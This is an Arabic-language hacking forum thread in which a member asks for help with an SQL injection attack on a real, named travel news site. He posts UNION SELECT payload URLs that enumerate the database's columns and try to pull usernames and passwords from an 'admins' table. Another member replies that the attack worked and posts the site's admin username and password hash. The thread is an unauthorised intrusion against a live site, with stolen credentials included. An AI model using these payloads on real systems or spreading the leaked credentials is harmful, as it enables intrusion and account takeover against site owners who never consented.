مشكلة فى عمود الادمن اثناء الحقن

folkhero · 09-20-2012, 12:11 AM

اثناء اختراقى لموقع مصاب بثغرة sql
تصفحت العواميد باستخدام الامر limit number.1
وعرفت ان الاسم admins
وعرفت اليوسر والباس
دلوقتى لما اجى اطبق وادوس
from+ admins---
يظهرلى خطأ رغم ان هذا الاسم المطلوب

وجزاكم الله خيرا

المصدر: :: vBspiders Professional Network ::

Vspan style="font-weight: bold; color: #006400;"Cl[hf:VLspanC la;gm tn ul,] hgh]lk hekhx hgprk

ReD-HaT · 09-20-2012, 12:47 AM

اخي يمكن انت أخطأت في شئ ما في الرابط
وضح أكثر لحتى أساعدك

folkhero · 09-20-2012, 01:26 AM

كود PHP:

  اليوزر نيم 
http://www.travelconsumerdaily.com/story.php?id=-320+union+select+1,2,3,4,5,concat%28table_name,0x3a3a,column_name%29,7,8,9,10,11,12,13,14,15+from+information_schema.columns+limit+184,1--

الباسورد 
http://www.travelconsumerdaily.com/story.php?id=-320+union+select+1,2,3,4,5,concat%28table_name,0x3a3a,column_name%29,7,8,9,10,11,12,13,14,15+from+information_schema.columns+limit+185,1--

لما اطبق يظهر خطأ
http://www.travelconsumerdaily.com/story.php?id=-320+union+select+1,2,3,4,5,concat%28username,0x3a3a,password%29,7,8,9,10,11,12,13,14,15+from+admins--

abdoog · 09-20-2012, 02:25 AM

تم الاستغلال بنجاح
رابط الاستغلال هنا
اليوزر

clivedorman

الباس
::f513b30a6ed5ec2f9ff1be4908cc0182

راجع الدورات والدروس اخي الريم

folkhero · 09-20-2012, 02:47 AM

الف الف شكر يا كبير
ربنا يجازيك خير

abdoog · 09-20-2012, 02:56 AM

امين وياك اخي الكريم

أدوات الموضوع
مشاهدة صفحة طباعة الموضوع أرسل هذا الموضوع إلى صديق
انواع عرض الموضوع
العرض العادي الانتقال إلى العرض المتطور الانتقال إلى العرض الشجري

التواصل المباشر مع الادارة والاعضاء القدامى من خلال قناة التلغرام

مشكلة فى عمود الادمن اثناء الحقن

جـــ'ابات العناكــ'ب